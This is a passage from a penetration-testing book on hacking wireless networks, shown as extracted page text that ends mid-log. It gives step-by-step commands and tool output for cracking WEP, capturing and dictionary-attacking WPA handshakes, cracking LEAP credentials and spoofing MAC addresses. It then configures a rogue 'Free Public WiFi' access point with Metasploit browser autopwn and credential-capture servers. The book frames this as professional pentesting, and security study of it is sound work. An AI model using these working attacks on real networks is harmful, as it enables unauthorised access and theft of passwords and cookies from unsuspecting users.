EQUIPMENT\nand this is confirmed for us:\nCurrent MAC: 00:c0:ca:1b:5c:3a (Alfa, Inc.)\nFaked MAC:\n00:1b:77:2e:46:45 (unknown)\nIn another window, type:\n# aireplay-ng wlan1 -b 00:04:ED:5A:8B:DB -h 00:1B:77:2E:46:45 --arpreplay\n-b refers to the MAC address for the access point and -h to the MAC\naddress for our faked client. The command above produces the following\nresults:\n11:07:42\nWaiting for beacon frame (BSSID: 00:04:ED:5A:8B:DB) on channel 5\nSaving ARP requests in replay arp-0219-110742.cap\nYou should also start Airodump to capture replies:\nRead 13824 packets (got 9 ARP requests and 11554 ACKs), sent 12508\npackets...(500 pps)\nThe option --arpreplay refers to the type of attack you wish to\nlaunch. Aireplay waits for an ARP packet to be sent over the tar-\nget network (which it can detect regardless of encryption, due to its\nunique characteristics). When it sees a packet, it captures the packet\nand reinjects it into the stream. This creates unique initialization vectors\n(IVs). For your purposes, lots of unique IVs is a good thing. You need\nthem in order to crack the WEP key. When this happens the Data col-\numn in Airodump for wireless2 starts to increase rapidly as shown\nhere:\nCH\n5 ][ Elapsed: 12 s ][ 2009-02-19 11:08\nBSSID\nPWR RXQ Beacons #Data, #/s CH MB\nENC\nCIPHER AUTH ESSID\n00:13:49:B5:53:7E\n29\n7\n13\n0\n0\n7 54\nWEP\nWEP\nADSL-WiFi Anja\n00:13:F7:20:7B:4D\n40\n18\n34\n0\n0\n6 54 . OPN\nSMC\n00:05:B4:0A:54:D8\n23\n7\n14\n0\n0\n3 54 . WPA\nTKIP\nPSK\nSweexMR\n00:13:49:10:0D:71\n60\n60\n41\n0\n0\n7 54 . WEP\nWEP\nADSL-WiFi\n00:19:CB:0A:EA:63\n28\n11\n26\n0\n0\n7 54\nWPA\nTKIP\nPSK\nMVDH\n00:13:F7:8B:43:9F\n49\n13\n28\n2\n0\n6 54 . WPA2 CCMP\nPSK\nJJJJR\n00:1C:DF:05:C0:7E\n46\n32\n48\n0\n0\n6 54 . WPA\nTKIP\nPSK\nVuurdesign\n00:1E:E5:8C:94:BE\n24\n10\n36\n2\n0\n6 54\nOPN\nlinksys\n00:04:ED:5A:8B:DB\n72\n96\n130 13231\n0\n5 54\nWEP\nWEP\nwireless2\n" }, { "page_number": 157, "text": "CRACKING ENCRYPTION\n135\nBSSID\nSTATION\nPWR\nRate\nLost\nPackets\nProbe\n(not associated)\n00:19:7D:72:80:5C\n23\n0- 1\n29\n4\nHome\n00:04:ED:5A:8B:DB\n00:1B:77:2E:46:45\n47\n0- 1\n0\n13998\nwireless2\nWhen you have a few thousand packets, you can attempt to crack the\nkey. Type the following command:\n# aircrack-ng wireless2-01.cap\nThe file wireless2-01.cap was created when we specified the --\nwrite wireless2 option with Airodump above. Were you to run that\ncommand again, the next file to be created would be wireless2-02.cap.\nIf you have multiple captures from the same access point, don’t delete\nthem, they can be combined using Aircrack. For example, the above\ncommand would become:\n# aircrack-ng wireless2*.cap\nAircrack presents you with the menu shown here:\nBSSID\nESSID\nEncryption\n1\n00:04:ED:5A:8B:DB\nwireless2\nWEP (14298 IVs)\n2\n00:19:CB:0A:EA:63\nMVDH\nNo data – WEP or WPA\n3\n00:13:49:10:0D:71\nADSL-WiFi\nNo data – WEP or WPA\n4\n00:1C:DF:05:C0:7E\nVuurdesign\nNo data – WEP or WPA\n5\n00:13:F7:8B:43:9F\nJJJJR\nWPA (0 handshake)\n6\n00:1E:E5:8C:94:BE\nlinksys\nNone (0.0.0.0)\n7\n00:05:B4:0A:54:D8\nSweexMR\nNo data – WEP or WPA\n8\n00:13:F7:20:7B:4D\nSMC\nNone (0.0.0.0)\n9\n00:13:49:B5:53:7E\nADSL-WiFi Anja\nNo data – WEP or WPA\n10\n00:13:F7:35:7D:09\nMaurice\nNo data – WEP or WPA\n11\n00:18:F8:6E:85:A3\nM3b2d\nNo data – WEP or WPA\n12\n00:13:F7:31:6E:54\nSMC\nNone (0.0.0.0)\n13\n00:1D:0F:D5:66:46\nICIDU\nNo data – WEP or WPA\nIndex number of target network ?\nSelect the option that corresponds to the access point in which you are\ninterested (in this case, 1) and the cracking begins. You get the following\noutput:\nAircrack-ng 1.0 rc2 r1414\n[00:00:00] Tested 8050 keys (got 7988 IVs)\nKB\ndepth\nbyte(vote)\n0\n1/\n2\nB4( 512) 01( 256) 46( 256) 5F( 256)9D(256)BC(256)00(0)\n1\n0/\n5\n57( 256) 13( 256) 29( 256) 2D( 256)7C(256)7F(256)9D(256)\n" }, { "page_number": 158, "text": "136\nHACKING WIRELESS EQUIPMENT\n2\n0/\n1\nDA( 256) 11( 256) 27( 256) 74( 256)76(256)7D(256)7F(256)\n3\n0/\n3\n11( 256) 17( 256) 3E( 256) 5E( 256)95(256)A2(256)A3(256)\n4\n0/\n4\n10( 256) 31( 256) 43( 256) 45( 256)62(256)68(256)AA(25)\nWithin seconds we have the key.\nKB\ndepth\nbyte(vote)\n0\n0/\n9\n12(15)F9(15)47(12)F7(12)FE(12)1B(5)77(5)A5(3)F6(3)03(0)\n1\n0/\n8\n34(61)E8(27)E0(24)06(18)3B(16)4E(15)E1(15)2D(13)89(12)\n2\n0/\n2\n56(87)A6(63)15(17)02(15)6B(15)E0(15)AB(13)0E(10)17(10)\n3\n1/\n5\n78(43)1A(20)9B(20)4B(17)4A(16)2B(15)4D(15)58(15)6A(15)\nKEY FOUND! [ 12:34:56:78:90 ]\nProbability: 100%\nIf there are five values following ‘KEY FOUND!’ then the key is 40 bit,\nany more than that and it’s 128 bit. There is no real difference in speed\nto cracking either.\nAs you can see, cracking WEP Shared Key cryptography is very straight-\nforward. It is a skill worth practicing because WEP, as has been previously\nnoted, is still widely deployed in small businesses and within business\ndepartments unofficially. It is not uncommon for employees to set up their\nown access point for convenience. Because WEP is marked as ‘secure’\nin the setup screen, people assume it means just that. Administrators\nsometimes deploy WEP with additional security measures such as MAC\naddress filtering but this is even more trivial to bypass.\nCracking WPA/WPA2 Shared Key Encryption\nWhen cracking WEP, statistical methods are vital to speed up the key\nrecovery. It’s a cryptanalytic attack against inherent flaws in the protocol\nwhich is why you can crack it so quickly. WPA/WPA2 is different in that\nonly brute force methods work.\nIt doesn’t matter how many packets or IVs you capture because the\nlive encryption key is not static. The only way you can recover the key\nis by intercepting an authentication handshake between a client laptop\nand an access point. With this handshake in your possession it becomes\npossible to launch a brute force attack (i.e. try every possible key) until\nyou find the one securing the network. This can be done offline. Because\nthe cryptographic schemes used in WPA/WPA2 are computationally\nexpensive (you can’t perform many password guesses a second), unless\nthe target is using a very short password or one that can be found in a\n" }, { "page_number": 159, "text": "CRACKING ENCRYPTION\n137\ndictionary, you are never going to recover the key (at least not between\nnow and the death of the universe).\nNonetheless, the following technique can be used to recover the four-way\nhandshake and begin a brute force attack. You will be using the same\ntools you use to crack WEP and it is first of all necessary to prepare your\nenvironment and put your card in monitor mode as explained in the\nprevious section.\nOnce that is complete, you need to identify your target network. In this\ncase, it is called Wpatarget.\n# airodump-ng wlan1\nYou get the following response:CH\n2 ][ Elapsed: 0 s ][ 2009-02-19 12:12\nBSSID\nPWR Beacons #Data, #/s\nCH\nMB\nENC\nCIPHER AUTH ESSID\n00:22:6B:70:79:A6\n40\n2\n0\n0\n11\n54e\nOPN\nHome\n00:0F:B5:D4:F2:90\n29\n2\n0\n0\n11\n54 . WPA\nTKIP\nPSK\nNETGEAR\n00:1B:FC:42:9B:67\n35\n3\n0\n0\n11\n54\nOPN\nDV201AM\n00:13:F7:8B:43:9F\n50\n1\n1\n0\n6\n54 . WPA2 CCMP\nPSK\nJJJJR\n00:13:49:B5:53:7E\n60\n2\n0\n0\n7\n54\nWEP\nWEP\nADSL-WiFi Anja\n00:19:CB:0A:EA:63\n50\n2\n0\n0\n7\n54\nWPA\nTKIP\nPSK\nMVDH\n00:13:49:10:0D:71\n58\n2\n0\n0\n7\n54 . WEP\nWEP\nADSL-WiFi\n00:1C:DF:05:C0:7E\n36\n2\n0\n0\n6\n54 . WPA\nTKIP\nPSK\nWpatarget\n00:04:ED:5A:8B:DB\n78\n4\n0\n0\n5\n54\nWEP\nWEP\nwireless2\n00:18:F8:6E:85:A3\n18\n3\n0\n0\n7\n54\nWEP\nWEP\nM3b2d\n00:22:3F:20:C5:8E\n57\n3\n0\n0\n1\n54 . WPA\nTKIP\nPSK\nUPC53144\n00:90:D0:E8:F4:B1\n18\n2\n0\n0\n1\n54\nWPA2 CCMP\nPSK\nSpeedTouchC07700\n00:05:B4:0A:54:D8\n31\n3\n0\n0\n3\n54 . WPA\nTKIP\nPSK\nSweexMR\n00:13:D4:67:67:7D\n26\n3\n0\n0\n1\n54\nWEP\nWEP\npvg\n02:18:9B:6F:A5:E0\n20\n4\n0\n0\n1\n54\nWPA2 TKIP\nPSK\n\n00:18:9B:6F:A5:DF\n19\n4\n1\n0\n1\n54\nWPA2 TKIP\nPSK\nUPC017649\n8A:81:1B:D8:8F:85\n-1\n4\n0\n0\n1\n54\nOPN\nwireless\n00:14:7F:8D:9F:7F\n38\n4\n0\n0\n1\n54\nWPA\nTKIP\nPSK\nSpeedTouchADC252\nYou can see that the target is running WPA PSK and listening on channel 6.\nSo, you rerun Airodump to capture all packets on this channel and log\nthem to disk.\n# airodump-ng -c 6 --write wpatarget wlan1\nNext, you need to identify a client laptop connected to Wpatarget and\nlog its MAC address. The output is shown here:\nCH\n6 ][ Elapsed: 20 s ][ 2009-02-19 12:12\nBSSID\nPWR Beacons #Data, #/s\nCH\nMB\nENC\nCIPHER AUTH ESSID\n00:22:6B:70:79:A6\n40\n2\n0\n0\n11\n54e\nOPN\nHome\n00:0F:B5:D4:F2:90\n29\n2\n0\n0\n11\n54 . WPA\nTKIP\nPSK\nNETGEAR\n00:1B:FC:42:9B:67\n35\n3\n0\n0\n11\n54\nOPN\nDV201AM\n" }, { "page_number": 160, "text": "138\nHACKING WIRELESS EQUIPMENT\n00:13:F7:8B:43:9F\n50\n1\n1\n0\n6\n54 . WPA2 CCMP\nPSK\nJJJJR\n00:13:49:B5:53:7E\n60\n2\n0\n0\n7\n54\nWEP\nWEP\nADSL-WiFi Anja\n00:19:CB:0A:EA:63\n50\n2\n0\n0\n7\n54\nWPA\nTKIP\nPSK\nMVDH\n00:13:49:10:0D:71\n58\n2\n0\n0\n7\n54 . WEP\nWEP\nADSL-WiFi\n00:1C:DF:05:C0:7E\n36\n2\n0\n0\n6\n54 . WPA\nTKIP\nPSK\nWpatarget\n00:04:ED:5A:8B:DB\n78\n4\n0\n0\n5\n54\nWEP\nWEP\nwireless2\n00:18:F8:6E:85:A3\n18\n3\n0\n0\n7\n54\nWEP\nWEP\nM3b2d\n00:22:3F:20:C5:8E\n57\n3\n0\n0\n1\n54 . WPA\nTKIP\nPSK\nUPC53144\n00:90:D0:E8:F4:B1\n18\n2\n0\n0\n1\n54\nWPA2 CCMP\nPSK\nSpeedTouchC07700\n00:05:B4:0A:54:D8\n31\n3\n0\n0\n3\n54 . WPA\nTKIP\nPSK\nSweexMR\n00:13:D4:67:67:7D\n26\n3\n0\n0\n1\n54\nWEP\nWEP\npvg\n02:18:9B:6F:A5:E0\n20\n4\n0\n0\n1\n54\nWPA2 TKIP\nPSK\n\n00:18:9B:6F:A5:DF\n19\n4\n1\n0\n1\n54\nWPA2 TKIP\nPSK\nUPC017649\n8A:81:1B:D8:8F:85\n-1\n4\n0\n0\n1\n54\nOPN\nwireless\n00:14:7F:8D:9F:7F\n38\n4\n0\n0\n1\n54\nWPA\nTKIP\nPSK\nSpeedTouchADC252\nBSSID\nSTATION\nPWR\nRate\nLost\nPackets\nProbe\n00:1C:DF:05:C0:7E\n00:0E:2E:47:40:E4\n-1\n6- 0\n0\n12\nYou see a workstation with the MAC address of 00:0E:2E:47:40:E4.\nChange your own MAC to match this:\n# macchanger --mac=00:0E:2E:47:40:E4 wlan1\nCurrent MAC: 00:c0:ca:1b:5c:3a (Alfa, Inc.)\nFaked MAC:\n00:0e:2e:47:40:e4 (Edimax Technology Co., Ltd.)\nAuthentication takes place using something called a four-way handshake,\nwhich occurs when a client laptop connects to an access point. We need\nto intercept and capture this process in order to attack the encryption.\nThe quickest way to achieve this is to force the client to disconnect and\nreconnect, otherwise you could be waiting around for hours for this to\nhappen legitimately. Making sure that airodump is still logging packets,\nyou run the following command:\n# aireplay-ng wlan1 -a 00:1C:DF:05:C0:7E -c 00:0E:2E:47:40:E4 --deauth 0\nThe -a option refers to the target access point and -h to the target client.\nThis command runs continuously until you stop it, producing output\nsimilar to:\n12:31:01\nWaiting for beacon frame (BSSID: 00:1C:DF:05:C0:7E) on channel 1\n12:31:01\nSending 64 directed DeAuth. STMAC: [00:0E:2E:47:40:E4]\nChecking Airodump shows you that a handshake has already been\nlogged:\n" }, { "page_number": 161, "text": "CRACKING ENCRYPTION\n139\nCH\n6 ][ Elapsed: 20 s ][ 2009-02-19 12:12] WPA handshake: 00:1C:DF:05:C0:7E\nBSSID\nPWR Beacons #Data, #/s\nCH\nMB\nENC\nCIPHER AUTH ESSID\n00:22:6B:70:79:A6\n40\n2\n0\n0\n11\n54e\nOPN\nHome\n00:0F:B5:D4:F2:90\n29\n2\n0\n0\n11\n54 . WPA\nTKIP\nPSK\nNETGEAR\n00:1B:FC:42:9B:67\n35\n3\n0\n0\n11\n54\nOPN\nDV201AM\n00:13:F7:8B:43:9F\n50\n1\n1\n0\n6\n54 . WPA2 CCMP\nPSK\nJJJJR\n00:13:49:B5:53:7E\n60\n2\n0\n0\n7\n54\nWEP\nWEP\nADSL-WiFi Anja\n00:19:CB:0A:EA:63\n50\n2\n0\n0\n7\n54\nWPA\nTKIP\nPSK\nMVDH\n00:13:49:10:0D:71\n58\n2\n0\n0\n7\n54 . WEP\nWEP\nADSL-WiFi\n00:1C:DF:05:C0:7E\n36\n2\n1421\n0\n6\n54 . WPA\nTKIP\nPSK\nWpatarget\n00:04:ED:5A:8B:DB\n78\n4\n0\n0\n5\n54\nWEP\nWEP\nwireless2\n00:18:F8:6E:85:A3\n18\n3\n0\n0\n7\n54\nWEP\nWEP\nM3b2d\n00:22:3F:20:C5:8E\n57\n3\n0\n0\n1\n54 . WPA\nTKIP\nPSK\nUPC53144\n00:90:D0:E8:F4:B1\n18\n2\n0\n0\n1\n54\nWPA2 CCMP\nPSK\nSpeedTouchC07700\n00:05:B4:0A:54:D8\n31\n3\n0\n0\n3\n54 . WPA\nTKIP\nPSK\nSweexMR\n00:13:D4:67:67:7D\n26\n3\n0\n0\n1\n54\nWEP\nWEP\npvg\n02:18:9B:6F:A5:E0\n20\n4\n0\n0\n1\n54\nWPA2 TKIP\nPSK\n\n00:18:9B:6F:A5:DF\n19\n4\n1\n0\n1\n54\nWPA2 TKIP\nPSK\nUPC017649\n8A:81:1B:D8:8F:85\n-1\n4\n0\n0\n1\n54\nOPN\nwireless\n00:14:7F:8D:9F:7F\n38\n4\n0\n0\n1\n54\nWPA\nTKIP\nPSK\nSpeedTouchADC252\nNow you can use Aircrack to try and recover the key. There are several\ndictionaries on the BackTrack CD-ROM. However, I recommend you\ndownload a huge one from the Internet, such as the Ramius file from\nwww.rainbowtables.net. In the command below, dict.txt refers to\nany dictionary file you choose:\n# aircrack-ng wpatarget-01.cap -w dict.txt\nBSSID\nESSID\nEncryption\n1\n00:04:ED:5A:8B:DB\nwireless2\nWEP (9 IVs)\n2\n00:19:CB:0A:EA:63\nMVDH\nNo data – WEP or WPA\n3\n00:13:49:10:0D:71\nADSL-WiFi\nNo data – WEP or WPA\n4\n00:1C:DF:05:C0:7E\nWpatarget\nWPA (1 handshake)\n5\n00:13:F7:8B:43:9F\nJJJJR\nWPA (0 handshake)\n6\n00:1E:E5:8C:94:BE\nlinksys\nNone (0.0.0.0)\n7\n00:05:B4:0A:54:D8\nSweexMR\nNo data – WEP or WPA\n8\n00:13:F7:20:7B:4D\nSMC\nNone (0.0.0.0)\n9\n00:13:49:B5:53:7E\nADSL-WiFi Anja\nNo data – WEP or WPA\n10\n00:13:F7:35:7D:09\nMaurice\nNo data – WEP or WPA\n11\n00:18:F8:6E:85:A3\nM3b2d\nNo data – WEP or WPA\n12\n00:13:F7:31:6E:54\nSMC\nNone (0.0.0.0)\n13\n00:1D:0F:D5:66:46\nICIDU\nNo data – WEP or WPA\nIndex number of target network ?\nWe select network 4 and Aircrack dutifully attempts to crack the key by\ntaking each word from its dictionary file (dict.txt), encrypting it and\n" }, { "page_number": 162, "text": "140\nHACKING WIRELESS EQUIPMENT\ncomparing the result against the hash extracted from the handshake. In\nthis case, the key is found rather quickly:\nAircrack-ng 1.0\n[00:00:10] 2 keys tested (37.20 k/s)\nKEY FOUND! [ 12345678 ]\nMaster Key\n: CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E\nB8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD\nTranscient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98\nCE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40\nFF 1D 41 E1 65\n17 93 0E 64 32 BF 25 50 D5 4A 5E\n2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71\nEAPOL HMAC\n: 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB\nBypassing a MAC Address Filter\nMAC filtering is a half-hearted attempt to provide extra security for a\nwireless network by permitting only clients with MAC addresses known\nto the access point to associate. Known MACs are stored in a white list\nthat is referred to when a client attempts to connect. Clients whose MAC\naddress are not known are ignored. This system fails for two reasons (both\nof which should be crystal clear by now):\n•\nTools, such as Airodump, show the MAC addresses associated with\nany given access point, which immediately tells you which MAC\naddresses are in the white list. There is no way to prevent this.\n•\nAn attacker can change their client MAC to that of a device in the\nwhite list thus immediately bypassing the filter.\nIf you have acquired a WEP or WPA/WPA2 key and are still unable to\nassociate with the access point, it is likely that MAC filtering is in place.\nIf you’ve got as far as cracking the encryption key then you already have\nthe necessary knowledge to bypass it.\nDisabled SSID Broadcast\nMost access points have the option to disable broadcasting of the SSID or\nnetwork name – the theory being that it will never appear in the available\nnetwork list in wireless client software and the user must manually specify\n" }, { "page_number": 163, "text": "CRACKING ENCRYPTION\n141\nthe SSID in order to join the network. A lot of network administrators\nbelieve that this means hackers won’t be able to find their networks.\nHistorically, there is some merit to this with early wireless wardriving\ntools, such as Network Stumbler, relying on SSID broadcasts to note their\npresence. However, this has not been the case for a long time and more\nmodern tools, such as Airodump, are perfectly capable of seeing networks\nand network traffic regardless of whether or not they are broadcasting\ntheir SSID.\nCracking Enterprise Grade Authentication\nShared key authentication is not practical in an organization with many\nusers. Not only is it impractical to administer, but the more people who\nknow a shared secret, the less secret it becomes (and it would have to be\nchanged every time somebody left the company). Consequently, various\nauthentication frameworks have arisen in an attempt to address this\nproblem whilst at the same time improving security to avoid the problems\ninherent in shared key systems. Some have been more successful than\nothers.\nMost frameworks use some variant of extensible authentication protocol\n(EAP) which comes in many different flavors – about 40 at the last count.\nThe most commonly deployed are LEAP, PEAP, EAP-FAST, EAP-TLS and\nEAP-TTLS. These frameworks are on the whole considerably more secure\nthan the shared key systems we looked at earlier.\nLEAP\nLightweight extensible authentication protocol (LEAP) is a proprietary\nwireless authentication method developed by Cisco Systems. Although\nLEAP uses WEP for encryption, its keys are dynamic rather than static\nmeaning they can’t be cracked by the technique detailed in the pre-\nvious sections because the wireless client frequently reauthenticates\nwith a remote authentication dial-in user service (RADIUS), or sim-\nilar server, in the hope that keys change faster than they can be\ncracked.\nThe problem with LEAP is that user credentials are not strongly protected\nand they can easily be acquired by a hacker using automated tools.\nCracking LEAP is pretty straightforward and requires the use of three\nsoftware tools, all of which are found on the BackTrack 3 CD-ROM:\nAirodump (with which you’re familiar by now), Asleap and John The\nRipper.\n" }, { "page_number": 164, "text": "142\nHACKING WIRELESS EQUIPMENT\nFirst of all, put your wireless card of choice into monitor mode. You\nneed to capture a large number of packets from your target network,\nwhich is where Airodump comes in. Assuming that your target network\nhas a BSSID/MAC of 00:14:6C:7E:40:80 and runs on channel 9, the\ncommand is:\n# airodump-ng -c 9 -b 00:14:6C:7E:40:80 --write target\nLeave Airodump running and every half an hour or so run the following\ncommand:\n# asleap -r target-01.cap\nAt first you are likely to see only the following:\nasleap 1.4 – actively recover LEAP/PPTP pass-\nwords. \nUsing the passive attack method.\nClosing pcap ...\nHowever, at some point you will capture (’snarf’) an automated handshake\n(challenge and response), which will look like this:\nasleap 1.4 – actively recover LEAP/PPTP pass-\nwords. \nUsing the passive attack method.\nCaptured LEAP exchange information:\nusername:\njoe\nchallenge:\nd9b6a14378985feb\nresponse:\n5540fd69295648c3db33e2217dbd3d0157f3a8f2c2ee1603\nhash bytes:\n6fd3\nNow you have enough information to recover the plaintext. For this, you\nuse my favorite password cracker, John The Ripper. You need to feed\nJohn the exchange information in a manner it understands. Note how the\nfollowing data relates to the output above:\njoe:::5540fd69295648c3db33e2217dbd3d0157f3a8f2c2ee1603::d9b6a14378985feb\nYou should save this information in a text file called exchange.txt.\nNow run the following command:\n# john --format-NETLM exchange.txt\nLoaded 1 password hash (LM C/R DES [netlm]\njoe\n(test)\nSession aborted\n" }, { "page_number": 165, "text": "CRACKING ENCRYPTION\n143\nCracking WPA may have put you off brute force password cracking, but\nnote that cracking these hashes is several orders of magnitude faster. You\nnow have a username and password, which is enough to authenticate\nyou to the target network.\nPEAP\nProtected extensible authentication protocol (PEAP) is one of the dominant\nenterprise class authentication methods. Developed jointly by Cisco,\nMicrosoft and RSA Security, PEAP uses an encrypted SSL tunnel between\nthe client and the server to exchange authentication information. There\nare no published vulnerabilities in the PEAP frameworks; however, it is\npossible under certain circumstances to intercept the SSL stream and inject\na fake certificate in order to intercept authentication information. Check\nout the forums on www.remote-exploit.org for the latest discussions on\nwireless hacking research.\nEAP\nExtensible authentication protocol (EAP) is a universal authentication\nframework that uses a number of different security mechanisms (called\nmethods). Compromising these authentication systems is a very advanced\ntopic and consequently beyond the scope of this book; however,\nthere are several attacks that can be deployed to bypass the secu-\nrity mechanisms by attacking the clients themselves. This is generally\neffective and likely to yield results. This brings us nicely into the next\nsection.\nSecuring the Access Point Is Only Half the Story\nA couple of weeks before writing this chapter, I was asked to perform\na penetration test of a newly deployed wireless network at a very\nprestigious client. Their setup was as secure as it is possible to make\nit: They were using enterprise-grade encryption and authentication,\nMAC address filtering, x.509 certificates on the client laptops and a\nvery aggressive intrusion prevention system. My remit was very clear.\nI could use only wireless technology to gain access (so no sneaky\nplugging into the corporate LAN or using social engineering) and\ndemonstrate visibility of their domain controllers.\nIt took about an hour to achieve this. Although I stuck to the letter of\nthe rules of engagement, I have to confess I cheated a little bit (much\nas a hacker would have done). For a technical explanation of how I\ndid this, see the section on attacking wireless clients.\n" }, { "page_number": 166, "text": "144\nHACKING WIRELESS EQUIPMENT\nAttacking a Wireless Client\nAttacking the client is not about breaking encryption and compromising\nthe wireless network by means of some weakness in the authentication\nprotocol. When attacking a client laptop, you create your own virtual\naccess point and use various tricks to force a client to associate with\nit. Once this happens, you can attack the client in a number of ways.\nThis section includes examples that discuss how you can steal cookies\nand passwords or attack and compromise the client itself. Under certain\ncircumstances, it is even possible to route through a client laptop and\ninto the target network. When executed correctly, these attacks can be\ndevastating to even the most secure network.\nThere are three approaches you can use to attack a client: the\npassive, the active and the indiscriminate. Each of these approaches\nmakes use of BackTrack 3, specifically the tools Airbase and Metas-\nploit.\nAirbase is a tool that can be used to create a virtual wireless access\npoint. Metasploit is a general hacking toolkit that I show how to use in\na limited way by backing it on to Airbase. The goal here is to con your\ntargets into connecting to a fake access point and use some network-level\ntrickery to steal passwords, cookies and other authentication creden-\ntials.\nMounting a Passive Attack\nA passive attack involves creating a fake, open (no cryptography) wireless\naccess point called ‘Free Public WiFi’ and setting it up so that anyone can\nconnect to it. This is a useful attack in companies where staff members\ndon’t have web access from their desktop and are desperate to browse.\nIt’s also useful in caf´es or bars that target staff are known to frequent\nand work on their laptops. To set up your environment follow these\nsteps:\n1.\nCreate a fake access point with Airbase:\n# modprobe tun\n# airbase-ng -e ‘‘Free Public WiFi’’ -c 5 -v wlan1\nIn this case, the access point is created on channel 5. Substitute\nwlan1 with your own wireless network card.\n2.\nGive the access point an IP address and virtual network space:\n# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0\nThis gives the access point an IP address of 10.0.0.1 and a Class C\naddress.\n" }, { "page_number": 167, "text": "ATTACKING A WIRELESS CLIENT\n145\n3.\nYou want ‘Free Public WiFi’ to be able to assign IP addresses and\nother settings to anyone who associates with it via DHCP. For that,\nof course, you need to run a DHCP server:\n# dhcpd -cf /etc/dhcpd/dhcpd.conf\nwhere dhcpd.conf looks like this:\noption domain-name-servers 10.0.0.1;\ndefault-lease-time 60;\nmax-lease-time 72;\nddns-update-style none;\nauthoritative;\nlog-facility local7;\nsubnet 10.0.0.0 netmask 255.255.255.0 {\nrange 10.0.0.100 10.0.0.254;\noption routers 10.0.0.1;\noption domain-name-servers 10.0.0.1;\n}\n4.\nNow you need to run Metasploit itself:\n# /pentest/exploits/framework3/msfconsole -r config.rc\nwhere config.rc looks like this:\nload db sqlite3\ndb create /root/karma.db\nuse auxiliary/server/browser autopwn\nsetg AUTOPWN HOST 10.0.0.1\nsetg AUTOPWN PORT 55550\nsetg AUTOPWN URI /ads\nset LHOST 10.0.0.1\nset LPORT 45000\nset SRVPORT 55550\nset URIPATH /ads\nrun\nuse auxiliary/server/capture/pop3\nset SRVPORT 110\nset SSL false\nrun\nuse auxiliary/server/capture/pop3\nset SRVPORT 995\nset SSL true\nrun\nuse auxiliary/server/capture/ftp\nrun\nuse auxiliary/server/capture/imap\nset SSL false\nset SRVPORT 143\nrun\nuse auxiliary/server/capture/imap\nset SSL true\nset SRVPORT 993\nrun\n" }, { "page_number": 168, "text": "146\nHACKING WIRELESS EQUIPMENT\nuse auxiliary/server/capture/smtp\nset SSL false\nset SRVPORT 25\nrun\nuse auxiliary/server/capture/smtp\nset SSL true\nset SRVPORT 465\nrun\nuse auxiliary/server/fakedns\nunset TARGETHOST\nset SRVPORT 5353\nrun\nuse auxiliary/server/fakedns\nunset TARGETHOST\nset SRVPORT 53\nrun\nuse auxiliary/server/capture/http\nset SRVPORT 80\nset SSL false\nrun\nuse auxiliary/server/capture/http\nset SRVPORT 8080\nset SSL false\nrun\nuse auxiliary/server/capture/http\nset SRVPORT 443\nset SSL true\nrun\nuse auxiliary/server/capture/http\nset SRVPORT 8443\nset SSL true\nrun\n5.\nFinally, the following command:\n# iptables -t nat -A PREROUTING -i at0 -j REDIRECT\nSo after all that, what have you got?\nQuite a lot! A complete virtual access point and network (courtesy of\nAirbase) and some fake services provided by Metasploit that include\nPOP3, IMAP, a web server and a DNS server that redirects any questions\nto our local host. This means that any mail passwords or Windows\nchallenge–response pairs sent over the network will find their way\nto you. However, it’s the web server that’s most interesting. When a\nconnected user opens his or her browser, several things happen. First of\nall, Metasploit serves web pages that appear to be from a public wireless\nhot spot, which can be found in the following folder:\n/pentest/exploits/framework3/data/exploits/capture/http\n" }, { "page_number": 169, "text": "ATTACKING A WIRELESS CLIENT\n147\nFigure 7.4\nYou can customize this public access screen to make it more believable.\nYou should customize the page and make it more believable. (The screen\nin Figure 7.4 will only get you so far.) To do this, you’ll need to manually\nedit the HTML\nWhile these pages are loading, Metasploit uses a couple of tricks to make\nthe client browser believe that it is actually connecting to a number of\npopular websites. In doing so, it forces the browser to give up credentials\nin the form of saved passwords and cookies. You can change what\nMetasploit feeds to the browser by editing hosts in the file sites.txt\nin the Metasploit data directory.\nIf that’s not enough, Metasploit actively attempts to determine whether\nthe client is vulnerable to a wide range of security issues which it\ntries to exploit, giving you a command prompt on the target system if\nsuccessful. To be truly effective against a corporate target, the attack\nhas to be customized a little. For example, if you want to snarf users’\nwebmail credentials or cookies, when users open their browsers show\nthem a page that looks like the opening page of their webmail server:\njust download the HTML and save it in the http folder. Ensure that\nthe sites.txt file and forms folder is correctly configured to do\nthe most damage. The procedure is obvious when you look at these\nresources.\nDuring the attack, Airbase and the Metasploit console will continually\nupdate you about connections, credentials stolen and other information:\n15:16:42\nGot directed probe request from 00:1A:73:C7:36:9E – ‘‘AccessPoint1’’\n15:16:44\nGot directed probe request from 00:16:6F:87:E6:A5 – ‘‘AccessPoint1’’\n15:16:44\nGot broadcast probe request from 00:16:6F:87:E6:A5\n15:16:45\nGot directed probe request from 00:22:5F:43:17:5F – ‘‘Sitecom4628DA’’\n15:16:45\nGot directed probe request from 00:22:5F:43:17:5F – ‘‘Sitecom4628DA’’\n15:16:46\nGot an auth request from 00:22:5F:43:17:5F (open system)\n15:16:50\nGot directed probe request from 00:1C:C4:4B:62:A4 – ‘‘Brocx’’\n15:16:50\nGot broadcast probe request from 00:13:02:2C:68:CC\n" }, { "page_number": 170, "text": "148\nHACKING WIRELESS EQUIPMENT\n15:16:50\nGot broadcast probe request from 00:13:02:2C:68:CC\n15:16:50\nGot broadcast probe request from 00:13:02:2C:68:CC\n15:16:51\nGot directed probe request from 00:16:CE:88:C4:25 – ‘‘Tramstraat\n60 beneden’’\n15:16:52\nGot broadcast probe request from 00:16:CE:88:C4:25\n15:16:52\nGot directed probe request from 00:1A:73:C7:36:9E – ‘‘AccessPoint1’’\n15:16:52\nGot directed probe request from 00:1A:73:C7:36:9E – ‘‘AccessPoint1’’\n15:16:54\nGot broadcast probe request from 00:22:43:28:B8:BE\n15:16:56\nGot directed probe request from 00:23:12:1E:88:41 – ‘‘Timoco Airport’’\n15:16:56\nGot directed probe request from 00:1C:BF:59:49:94 – ‘‘linksys’’\n15:16:56\nGot broadcast probe request from 00:1C:BF:59:49:94\n15:16:58\nGot broadcast probe request from 00:19:7E:89:FF:4C\n15:17:01\nGot directed probe request from 00:1C:BF:59:49:94 – 